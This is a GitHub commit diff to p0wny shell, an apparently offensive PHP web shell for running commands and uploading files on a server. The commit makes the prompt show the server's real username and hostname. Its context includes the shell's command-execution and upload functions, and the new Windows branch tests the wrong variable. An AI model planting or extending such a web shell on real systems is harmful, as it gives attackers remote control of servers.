Skip to content

Commit 141df71

Browse files
committed
Display the username and the hostname in the prompt
2 parents c7fc23f + 25dc185 commit 141df71

File tree

1 file changed

+34
-1
lines changed

1 file changed

+34
-1
lines changed

shell.php

+34-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,10 @@
11
<?php
22

3+
$SHELL_CONFIG = [
4+
'username' => 'p0wny',
5+
'hostname' => 'shell',
6+
];
7+
38
function expandPath($path) {
49
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
510
exec("echo $match[1]", $stdout);
@@ -48,6 +53,10 @@ function executeCommand($cmd) {
4853
return $output;
4954
}
5055

56+
function isRunningWindows() {
57+
return stripos(PHP_OS, "WIN") === 0;
58+
}
59+
5160
function featureShell($cmd, $cwd) {
5261
$stdout = "";
5362

@@ -123,6 +132,27 @@ function featureUpload($path, $file, $cwd) {
123132
}
124133
}
125134

135+
function initShellConfig() {
136+
global $SHELL_CONFIG;
137+
138+
if (isRunningWindows()) {
139+
$username = getenv('USERNAME');
140+
if ($hostname !== false) {
141+
$SHELL_CONFIG['username'] = $username;
142+
}
143+
} else {
144+
$pwuid = posix_getpwuid(posix_geteuid());
145+
if ($pwuid !== false) {
146+
$SHELL_CONFIG['username'] = $pwuid['name'];
147+
}
148+
}
149+
150+
$hostname = gethostname();
151+
if ($hostname !== false) {
152+
$SHELL_CONFIG['hostname'] = $hostname;
153+
}
154+
}
155+
126156
if (isset($_GET["feature"])) {
127157

128158
$response = NULL;
@@ -148,6 +178,8 @@ function featureUpload($path, $file, $cwd) {
148178
header("Content-Type: application/json");
149179
echo json_encode($response);
150180
die();
181+
} else {
182+
initShellConfig();
151183
}
152184

153185
?><!DOCTYPE html>
@@ -299,6 +331,7 @@ function featureUpload($path, $file, $cwd) {
299331
</style>
300332

301333
<script>
334+
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
302335
var CWD = null;
303336
var commandHistory = [];
304337
var historyPosition = 0;
@@ -424,7 +457,7 @@ function genPrompt(cwd) {
424457
var splittedCwd = cwd.split("/");
425458
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
426459
}
427-
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
460+
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
428461
}
429462

430463
function updateCwd(cwd) {

0 commit comments

Comments
 (0)